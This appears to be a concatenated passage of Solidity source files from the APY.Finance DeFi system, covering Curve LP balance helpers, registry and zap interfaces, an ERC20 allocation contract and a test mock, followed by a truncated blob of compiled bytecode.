3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract OldCurveAllocationBase2 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IOldStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, int128 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IOldStableSwap2 stableSwap, int128 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IOldStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IOldStableSwap4, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract OldCurveAllocationBase4 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IOldStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, int128 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IOldStableSwap4 stableSwap, int128 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IOldStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IAssetAllocation} from "contracts/common/Imports.sol"; import { CurveGaugeZapBase } from "contracts/protocols/curve/common/CurveGaugeZapBase.sol"; contract TestCurveZap is CurveGaugeZapBase { string public constant override NAME = "TestCurveZap"; address[] private _underlyers; constructor( address swapAddress, address lpTokenAddress, address liquidityGaugeAddress, uint256 denominator, uint256 slippage, uint256 numOfCoins ) public CurveGaugeZapBase( swapAddress, lpTokenAddress, liquidityGaugeAddress, denominator, slippage, numOfCoins ) // solhint-disable-next-line no-empty-blocks {} function setUnderlyers(address[] calldata underlyers) external { _underlyers = underlyers; } function getSwapAddress() external view returns (address) { return SWAP_ADDRESS; } function getLpTokenAddress() external view returns (address) { return address(LP_ADDRESS); } function getGaugeAddress() external view returns (address) { return GAUGE_ADDRESS; } function getDenominator() external view returns (uint256) { return DENOMINATOR; } function getSlippage() external view returns (uint256) { return SLIPPAGE; } function getNumberOfCoins() external view returns (uint256) { return N_COINS; } function calcMinAmount(uint256 totalAmount, uint256 virtualPrice) external view returns (uint256) { return _calcMinAmount(totalAmount, virtualPrice); } function calcMinAmountUnderlyer( uint256 totalAmount, uint256 virtualPrice, uint8 decimals ) external view returns (uint256) { return _calcMinAmountUnderlyer(totalAmount, virtualPrice, decimals); } function assetAllocations() public view override returns (string[] memory) { string[] memory allocationNames = new string[](1); return allocationNames; } function erc20Allocations() public view override returns (IERC20[] memory) { IERC20[] memory allocations = new IERC20[](0); return allocations; } function _getVirtualPrice() internal view override returns (uint256) { return 1; } function _getCoinAtIndex(uint256 i) internal view override returns (address) { return _underlyers[i]; } function _addLiquidity(uint256[] calldata amounts, uint256 minAmount) internal override // solhint-disable-next-line no-empty-blocks { } function _removeLiquidity( uint256 lpBalance, uint8 index, uint256 minAmount // solhint-disable-next-line no-empty-blocks ) internal override {} } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {SignedSafeMath} from "@openzeppelin/contracts/math/SignedSafeMath.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {NamedAddressSet} from "./NamedAddressSet.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IErc20Allocation} from "./IErc20Allocation.sol"; import {IChainlinkRegistry} from "./IChainlinkRegistry.sol"; import {IAssetAllocationRegistry} from "./IAssetAllocationRegistry.sol"; import {AssetAllocationBase} from "./AssetAllocationBase.sol"; import {ImmutableAssetAllocation} from "./ImmutableAssetAllocation.sol"; import {Erc20AllocationConstants} from "./Erc20Allocation.sol"; // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IAssetAllocation, INameIdentifier} from "contracts/common/Imports.sol"; import {IZap, ISwap} from "contracts/lpaccount/Imports.sol"; /** * @notice Stores a set of addresses that can be looked up by name * @notice Addresses can be added or removed dynamically * @notice Useful for keeping track of unique deployed contracts * @dev Each address must be a contract with a `NAME` constant for lookup */ library NamedAddressSet { using EnumerableSet for EnumerableSet.AddressSet; struct Set { EnumerableSet.AddressSet _namedAddresses; mapping(string => INameIdentifier) _nameLookup; } struct AssetAllocationSet { Set _inner; } struct ZapSet { Set _inner; } struct SwapSet { Set _inner; } function _add(Set storage set, INameIdentifier namedAddress) private { require(Address.isContract(address(namedAddress)), "INVALID_ADDRESS"); require( !set._namedAddresses.contains(address(namedAddress)), "DUPLICATE_ADDRESS" ); string memory name = namedAddress.NAME(); require(bytes(name).length != 0, "INVALID_NAME"); require(address(set._nameLookup[name]) == address(0), "DUPLICATE_NAME"); set._namedAddresses.add(address(namedAddress)); set._nameLookup[name] = namedAddress; } function _remove(Set storage set, string memory name) private { address namedAddress = address(set._nameLookup[name]); require(namedAddress != address(0), "INVALID_NAME"); set._namedAddresses.remove(namedAddress); delete set._nameLookup[name]; } function _contains(Set storage set, INameIdentifier namedAddress) private view returns (bool) { return set._namedAddresses.contains(address(namedAddress)); } function _length(Set storage set) private view returns (uint256) { return set._namedAddresses.length(); } function _at(Set storage set, uint256 index) private view returns (INameIdentifier) { return INameIdentifier(set._namedAddresses.at(index)); } function _get(Set storage set, string memory name) private view returns (INameIdentifier) { return set._nameLookup[name]; } function _names(Set storage set) private view returns (string[] memory) { uint256 length_ = set._namedAddresses.length(); string[] memory names_ = new string[](length_); for (uint256 i = 0; i < length_; i++) { INameIdentifier namedAddress = INameIdentifier(set._namedAddresses.at(i)); names_[i] = namedAddress.NAME(); } return names_; } function add( AssetAllocationSet storage set, IAssetAllocation assetAllocation ) internal { _add(set._inner, assetAllocation); } function remove(AssetAllocationSet storage set, string memory name) internal { _remove(set._inner, name); } function contains( AssetAllocationSet storage set, IAssetAllocation assetAllocation ) internal view returns (bool) { return _contains(set._inner, assetAllocation); } function length(AssetAllocationSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AssetAllocationSet storage set, uint256 index) internal view returns (IAssetAllocation) { return IAssetAllocation(address(_at(set._inner, index))); } function get(AssetAllocationSet storage set, string memory name) internal view returns (IAssetAllocation) { return IAssetAllocation(address(_get(set._inner, name))); } function names(AssetAllocationSet storage set) internal view returns (string[] memory) { return _names(set._inner); } function add(ZapSet storage set, IZap zap) internal { _add(set._inner, zap); } function remove(ZapSet storage set, string memory name) internal { _remove(set._inner, name); } function contains(ZapSet storage set, IZap zap) internal view returns (bool) { return _contains(set._inner, zap); } function length(ZapSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(ZapSet storage set, uint256 index) internal view returns (IZap) { return IZap(address(_at(set._inner, index))); } function get(ZapSet storage set, string memory name) internal view returns (IZap) { return IZap(address(_get(set._inner, name))); } function names(ZapSet storage set) internal view returns (string[] memory) { return _names(set._inner); } function add(SwapSet storage set, ISwap swap) internal { _add(set._inner, swap); } function remove(SwapSet storage set, string memory name) internal { _remove(set._inner, name); } function contains(SwapSet storage set, ISwap swap) internal view returns (bool) { return _contains(set._inner, swap); } function length(SwapSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(SwapSet storage set, uint256 index) internal view returns (ISwap) { return ISwap(address(_at(set._inner, index))); } function get(SwapSet storage set, string memory name) internal view returns (ISwap) { return ISwap(address(_get(set._inner, name))); } function names(SwapSet storage set) internal view returns (string[] memory) { return _names(set._inner); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IZap} from "./IZap.sol"; import {ISwap} from "./ISwap.sol"; import {ILpAccount} from "./ILpAccount.sol"; import {IZapRegistry} from "./IZapRegistry.sol"; import {ISwapRegistry} from "./ISwapRegistry.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import { IAssetAllocation, INameIdentifier, IERC20 } from "contracts/common/Imports.sol"; /** * @notice Used to define how an LP Account farms an external protocol */ interface IZap is INameIdentifier { /** * @notice Deploy liquidity to a protocol (i.e. enter a farm) * @dev Implementation should add liquidity and stake LP tokens * @param amounts Amount of each token to deploy */ function deployLiquidity(uint256[] calldata amounts) external; /** * @notice Unwind liquidity from a protocol (i.e exit a farm) * @dev Implementation should unstake LP tokens and remove liquidity * @dev If there is only one token to unwind, `index` should be 0 * @param amount Amount of liquidity to unwind * @param index Which token should be unwound */ function unwindLiquidity(uint256 amount, uint8 index) external; /** * @notice Claim accrued rewards from the protocol (i.e. harvest yield) */ function claim() external; /** * @notice Order of tokens for deploy `amounts` and unwind `index` * @dev Implementation should use human readable symbols * @dev Order should be the same for deploy and unwind * @return The array of symbols in order */ function sortedSymbols() external view returns (string[] memory); /** * @notice Asset allocations to include in TVL * @dev Requires all allocations that track value deployed to the protocol * @return An array of the asset allocation names */ function assetAllocations() external view returns (string[] memory); /** * @notice ERC20 asset allocations to include in TVL * @dev Should return addresses for all tokens that get deployed or unwound * @return The array of ERC20 token addresses */ function erc20Allocations() external view returns (IERC20[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import { IAssetAllocation, INameIdentifier, IERC20 } from "contracts/common/Imports.sol"; /** * @notice Used to define a token swap that can be performed by an LP Account */ interface ISwap is INameIdentifier { /** * @dev Implementation should perform a token swap * @param amount The amount of the input token to swap * @param minAmount The minimum amount of the output token to accept */ function swap(uint256 amount, uint256 minAmount) external; /** * @notice ERC20 asset allocations to include in TVL * @dev Should return addresses for all tokens going in and out of the swap * @return The array of ERC20 token addresses */ function erc20Allocations() external view returns (IERC20[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice For contracts that provide liquidity to external protocols */ interface ILpAccount { /** * @notice Deploy liquidity with a registered `IZap` * @dev The order of token amounts should match `IZap.sortedSymbols` * @param name The name of the `IZap` * @param amounts The token amounts to deploy */ function deployStrategy(string calldata name, uint256[] calldata amounts) external; /** * @notice Unwind liquidity with a registered `IZap` * @dev The index should match the order of `IZap.sortedSymbols` * @param name The name of the `IZap` * @param amount The amount of the token to unwind * @param index The index of the token to unwind */ function unwindStrategy( string calldata name, uint256 amount, uint8 index ) external; /** * @notice Return liquidity to a pool * @notice Typically used to refill a liquidity pool's reserve * @dev This should only be callable by the `MetaPoolToken` * @param pool The `IReservePool` to transfer to * @param amount The amount of the pool's underlyer token to transer */ function transferToPool(address pool, uint256 amount) external; /** * @notice Swap tokens with a registered `ISwap` * @notice Used to compound reward tokens * @notice Used to rebalance underlyer tokens * @param name The name of the `IZap` * @param amount The amount of tokens to swap * @param minAmount The minimum amount of tokens to receive from the swap */ function swap( string calldata name, uint256 amount, uint256 minAmount ) external; /** * @notice Claim reward tokens with a registered `IZap` * @param name The name of the `IZap` */ function claim(string calldata name) external; } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IZap} from "./IZap.sol"; /** * @notice For managing a collection of `IZap` contracts */ interface IZapRegistry { /** @notice Log when a new `IZap` is registered */ event ZapRegistered(IZap zap); /** @notice Log when an `IZap` is removed */ event ZapRemoved(string name); /** * @notice Add a new `IZap` to the registry * @dev Should not allow duplicate swaps * @param zap The new `IZap` */ function registerZap(IZap zap) external; /** * @notice Remove an `IZap` from the registry * @param name The name of the `IZap` (see `INameIdentifier`) */ function removeZap(string calldata name) external; /** * @notice Get the names of all registered `IZap` * @return An array of `IZap` names */ function zapNames() external view returns (string[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {ISwap} from "./ISwap.sol"; /** * @notice For managing a collection of `ISwap` contracts */ interface ISwapRegistry { /** @notice Log when a new `ISwap` is registered */ event SwapRegistered(ISwap swap); /** @notice Log when an `ISwap` is removed */ event SwapRemoved(string name); /** * @notice Add a new `ISwap` to the registry * @dev Should not allow duplicate swaps * @param swap The new `ISwap` */ function registerSwap(ISwap swap) external; /** * @notice Remove an `ISwap` from the registry * @param name The name of the `ISwap` (see `INameIdentifier`) */ function removeSwap(string calldata name) external; /** * @notice Get the names of all registered `ISwap` * @return An array of `ISwap` names */ function swapNames() external view returns (string[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IERC20, IDetailedERC20} from "contracts/common/Imports.sol"; /** * @notice An asset allocation for tokens not stored in a protocol * @dev `IZap`s and `ISwap`s register these separate from other allocations * @dev Unlike other asset allocations, new tokens can be added or removed * @dev Registration can override `symbol` and `decimals` manually because * they are optional in the ERC20 standard. */ interface IErc20Allocation { /** @notice Log when an ERC20 allocation is registered */ event Erc20TokenRegistered(IERC20 token, string symbol, uint8 decimals); /** @notice Log when an ERC20 allocation is removed */ event Erc20TokenRemoved(IERC20 token); /** * @notice Add a new ERC20 token to the asset allocation * @dev Should not allow duplicate tokens * @param token The new token */ function registerErc20Token(IDetailedERC20 token) external; /** * @notice Add a new ERC20 token to the asset allocation * @dev Should not allow duplicate tokens * @param token The new token * @param symbol Override the token symbol */ function registerErc20Token(IDetailedERC20 token, string calldata symbol) external; /** * @notice Add a new ERC20 token to the asset allocation * @dev Should not allow duplicate tokens * @param token The new token * @param symbol Override the token symbol * @param decimals Override the token decimals */ function registerErc20Token( IERC20 token, string calldata symbol, uint8 decimals ) external; /** * @notice Remove an ERC20 token from the asset allocation * @param token The token to remove */ function removeErc20Token(IERC20 token) external; /** * @notice Check if an ERC20 token is registered * @param token The token to check * @return `true` if the token is registered, `false` otherwise */ function isErc20TokenRegistered(IERC20 token) external view returns (bool); /** * @notice Check if multiple ERC20 tokens are ALL registered * @param tokens An array of tokens to check * @return `true` if every token is registered, `false` otherwise */ function isErc20TokenRegistered(IERC20[] calldata tokens) external view returns (bool); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice Interface used by Chainlink to aggregate allocations and compute TVL */ interface IChainlinkRegistry { /** * @notice Get all IDs from registered asset allocations * @notice Each ID is a unique asset allocation and token index pair * @dev Should contain no duplicate IDs * @return list of all IDs */ function getAssetAllocationIds() external view returns (bytes32[] memory); /** * @notice Get the LP Account's balance for an asset allocation ID * @param allocationId The ID to fetch the balance for * @return The balance for the LP Account */ function balanceOf(bytes32 allocationId) external view returns (uint256); /** * @notice Get the symbol for an allocation ID's underlying token * @param allocationId The ID to fetch the symbol for * @return The underlying token symbol */ function symbolOf(bytes32 allocationId) external view returns (string memory); /** * @notice Get the decimals for an allocation ID's underlying token * @param allocationId The ID to fetch the decimals for * @return The underlying token decimals */ function decimalsOf(bytes32 allocationId) external view returns (uint256); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IAssetAllocation} from "contracts/common/Imports.sol"; /** * @notice For managing a collection of `IAssetAllocation` contracts */ interface IAssetAllocationRegistry { /** @notice Log when an asset allocation is registered */ event AssetAllocationRegistered(IAssetAllocation assetAllocation); /** @notice Log when an asset allocation is removed */ event AssetAllocationRemoved(string name); /** * @notice Add a new asset allocation to the registry * @dev Should not allow duplicate asset allocations * @param assetAllocation The new asset allocation */ function registerAssetAllocation(IAssetAllocation assetAllocation) external; /** * @notice Remove an asset allocation from the registry * @param name The name of the asset allocation (see `INameIdentifier`) */ function removeAssetAllocation(string memory name) external; /** * @notice Check if multiple asset allocations are ALL registered * @param allocationNames An array of asset allocation names * @return `true` if every allocation is registered, otherwise `false` */ function isAssetAllocationRegistered(string[] calldata allocationNames) external view returns (bool); /** * @notice Get the registered asset allocation with a given name * @param name The asset allocation name * @return The asset allocation */ function getAssetAllocation(string calldata name) external view returns (IAssetAllocation); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IAssetAllocation} from "contracts/common/Imports.sol"; abstract contract AssetAllocationBase is IAssetAllocation { function numberOfTokens() external view override returns (uint256) { return tokens().length; } function symbolOf(uint8 tokenIndex) public view override returns (string memory) { return tokens()[tokenIndex].symbol; } function decimalsOf(uint8 tokenIndex) public view override returns (uint8) { return tokens()[tokenIndex].decimals; } function addressOf(uint8 tokenIndex) public view returns (address) { return tokens()[tokenIndex].token; } function tokens() public view virtual override returns (TokenData[] memory); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {Address} from "contracts/libraries/Imports.sol"; import {AssetAllocationBase} from "./AssetAllocationBase.sol"; /** * @notice Asset allocation with underlying tokens that cannot be added/removed */ abstract contract ImmutableAssetAllocation is AssetAllocationBase { using Address for address; constructor() public { _validateTokens(_getTokenData()); } function tokens() public view override returns (TokenData[] memory) { TokenData[] memory tokens_ = _getTokenData(); return tokens_; } /** * @notice Get the immutable array of underlying `TokenData` * @dev Should be implemented in child contracts with a hardcoded array * @return The array of `TokenData` */ function _getTokenData() internal pure virtual returns (TokenData[] memory); /** * @notice Verifies that a `TokenData` array works with the `TvlManager` * @dev Reverts when there is invalid `TokenData` * @param tokens_ The array of `TokenData` */ function _validateTokens(TokenData[] memory tokens_) internal view virtual { // length restriction due to encoding logic for allocation IDs require(tokens_.length < type(uint8).max, "TOO_MANY_TOKENS"); for (uint256 i = 0; i < tokens_.length; i++) { address token = tokens_[i].token; _validateTokenAddress(token); string memory symbol = tokens_[i].symbol; require(bytes(symbol).length != 0, "INVALID_SYMBOL"); } // TODO: check for duplicate tokens } /** * @notice Verify that a token is a contract * @param token The token to verify */ function _validateTokenAddress(address token) internal view virtual { require(token.isContract(), "INVALID_ADDRESS"); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import { IERC20, IDetailedERC20, AccessControl, INameIdentifier, ReentrancyGuard } from "contracts/common/Imports.sol"; import {Address, EnumerableSet} from "contracts/libraries/Imports.sol"; import {IAddressRegistryV2} from "contracts/registry/Imports.sol"; import {IErc20Allocation} from "./IErc20Allocation.sol"; import {AssetAllocationBase} from "./AssetAllocationBase.sol"; abstract contract Erc20AllocationConstants is INameIdentifier { string public constant override NAME = "erc20Allocation"; } contract Erc20Allocation is IErc20Allocation, AssetAllocationBase, Erc20AllocationConstants, AccessControl, ReentrancyGuard { using Address for address; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _tokenAddresses; mapping(address => TokenData) private _tokenToData; constructor(address addressRegistry_) public { require(addressRegistry_.isContract(), "INVALID_ADDRESS_REGISTRY"); IAddressRegistryV2 addressRegistry = IAddressRegistryV2(addressRegistry_); _setupRole(DEFAULT_ADMIN_ROLE, addressRegistry.emergencySafeAddress()); _setupRole(CONTRACT_ROLE, addressRegistry.mAptAddress()); _setupRole(ADMIN_ROLE, addressRegistry.adminSafeAddress()); } function registerErc20Token(IDetailedERC20 token) external override nonReentrant onlyAdminOrContractRole { string memory symbol = token.symbol(); uint8 decimals = token.decimals(); _registerErc20Token(token, symbol, decimals); } function registerErc20Token(IDetailedERC20 token, string calldata symbol) external override nonReentrant onlyAdminRole { uint8 decimals = token.decimals(); _registerErc20Token(token, symbol, decimals); } function registerErc20Token( IERC20 token, string calldata symbol, uint8 decimals ) external override nonReentrant onlyAdminRole { _registerErc20Token(token, symbol, decimals); } function removeErc20Token(IERC20 token) external override nonReentrant onlyAdminRole { _tokenAddresses.remove(address(token)); delete _tokenToData[address(token)]; emit Erc20TokenRemoved(token); } function isErc20TokenRegistered(IERC20 token) external view override returns (bool) { return _tokenAddresses.contains(address(token)); } function isErc20TokenRegistered(IERC20[] calldata tokens) external view override returns (bool) { uint256 length = tokens.length; for (uint256 i = 0; i < length; i++) { if (!_tokenAddresses.contains(address(tokens[i]))) { return false; } } return true; } function balanceOf(address account, uint8 tokenIndex) external view override returns (uint256) { address token = addressOf(tokenIndex); return IERC20(token).balanceOf(account); } function tokens() public view override returns (TokenData[] memory) { TokenData[] memory _tokens = new TokenData[](_tokenAddresses.length()); for (uint256 i = 0; i < _tokens.length; i++) { address tokenAddress = _tokenAddresses.at(i); _tokens[i] = _tokenToData[tokenAddress]; } return _tokens; } function _registerErc20Token( IERC20 token, string memory symbol, uint8 decimals ) internal { require(address(token).isContract(), "INVALID_ADDRESS"); require(bytes(symbol).length != 0, "INVALID_SYMBOL"); _tokenAddresses.add(address(token)); _tokenToData[address(token)] = TokenData( address(token), symbol, decimals ); emit Erc20TokenRegistered(token, symbol, decimals); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IAddressRegistryV2} from "./IAddressRegistryV2.sol"; // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice The address registry has two important purposes, one which * is fairly concrete and another abstract. * * 1. The registry enables components of the APY.Finance system * and external systems to retrieve core addresses reliably * even when the functionality may move to a different * address. * * 2. The registry also makes explicit which contracts serve * as primary entrypoints for interacting with different * components. Not every contract is registered here, only * the ones properly deserving of an identifier. This helps * define explicit boundaries between groups of contracts, * each of which is logically cohesive. */ interface IAddressRegistryV2 { /** * @notice Log when a new address is registered * @param id The ID of the new address * @param _address The new address */ event AddressRegistered(bytes32 id, address _address); /** * @notice Log when an address is removed from the registry * @param id The ID of the address * @param _address The address */ event AddressDeleted(bytes32 id, address _address); /** * @notice Register address with identifier * @dev Using an existing ID will replace the old address with new * @dev Currently there is no way to remove an ID, as attempting to * register the zero address will revert. */ function registerAddress(bytes32 id, address address_) external; /** * @notice Registers multiple address at once * @dev Convenient method to register multiple addresses at once. * @param ids Ids to register addresses under * @param addresses Addresses to register */ function registerMultipleAddresses( bytes32[] calldata ids, address[] calldata addresses ) external; /** * @notice Removes a registered id and it's associated address * @dev Delete the address corresponding to the identifier Time-complexity is O(n) where n is the length of `_idList`. * @param id ID to remove along with it's associated address */ function deleteAddress(bytes32 id) external; /** * @notice Returns the list of all registered identifiers. * @return List of identifiers */ function getIds() external view returns (bytes32[] memory); /** * @notice Returns the list of all registered identifiers * @param id Component identifier * @return The current address represented by an identifier */ function getAddress(bytes32 id) external view returns (address); /** * @notice Returns the TVL Manager Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return TVL Manager Address */ function tvlManagerAddress() external view returns (address); /** * @notice Returns the Chainlink Registry Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Chainlink Registry Address */ function chainlinkRegistryAddress() external view returns (address); /** * @notice Returns the DAI Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return DAI Pool Address */ function daiPoolAddress() external view returns (address); /** * @notice Returns the USDC Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return USDC Pool Address */ function usdcPoolAddress() external view returns (address); /** * @notice Returns the USDT Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return USDT Pool Address */ function usdtPoolAddress() external view returns (address); /** * @notice Returns the MAPT Pool Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return MAPT Pool Address */ function mAptAddress() external view returns (address); /** * @notice Returns the LP Account Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return LP Account Address */ function lpAccountAddress() external view returns (address); /** * @notice Returns the LP Safe Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return LP Safe Address */ function lpSafeAddress() external view returns (address); /** * @notice Returns the Admin Safe Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Admin Safe Address */ function adminSafeAddress() external view returns (address); /** * @notice Returns the Emergency Safe Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Emergency Safe Address */ function emergencySafeAddress() external view returns (address); /** * @notice Returns the Oracle Adapter Address * @dev Not just a helper function, this makes explicit a key ID for the system * @return Oracle Adapter Address */ function oracleAdapterAddress() external view returns (address); }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806387485e1c116100a2578063a729d1a911610071578063a729d1a9146101ba578063bb09d9b7146101c2578063c1892058146101ca578063e3792af2146101d2578063f4dc1090146101e55761010b565b806387485e1c146101755780638eea1c4c146101885780639711c4eb1461019d578063a3f4df7e146101a55761010b565b80634e71d92d116100de5780634e71d92d146101465780636076541014610150578063645f5bf9146101585780637c0eaf1f1461016d5761010b565b8063035eec1a146101105780630a76aec91461012e57806321c63a49146101365780632a4c0a1a1461013e575b600080fd5b6101186101ed565b6040516101259190611643565b60405180910390f35b610118610205565b61011861021d565b610118610235565b61014e61024d565b005b610118610257565b61016061026f565b60405161012591906116d7565b610118610314565b61014e6101833660046115b0565b61032c565b610190610432565b604051610125919061168a565b610118610445565b6101ad61045d565b6040516101259190611778565b610118610483565b61011861049b565b6101186104b3565b61014e6101e036600461147b565b6104cb565b6101606106da565b734da27a545c0c5b758a6ba100e3a049001de870f581565b73fd2a8fa60abd58efe3eee34dd494cd491dc1490081565b73debf20617708857ebe4f679508e7b7863a8a8eee81565b736b175474e89094c44da98b954eedeac495271d0f81565b6102556107ff565b565b73028171bca77440897b824ca71d1c56cac55b68a381565b6040805160028082526060828101909352829190816020015b60608152602001906001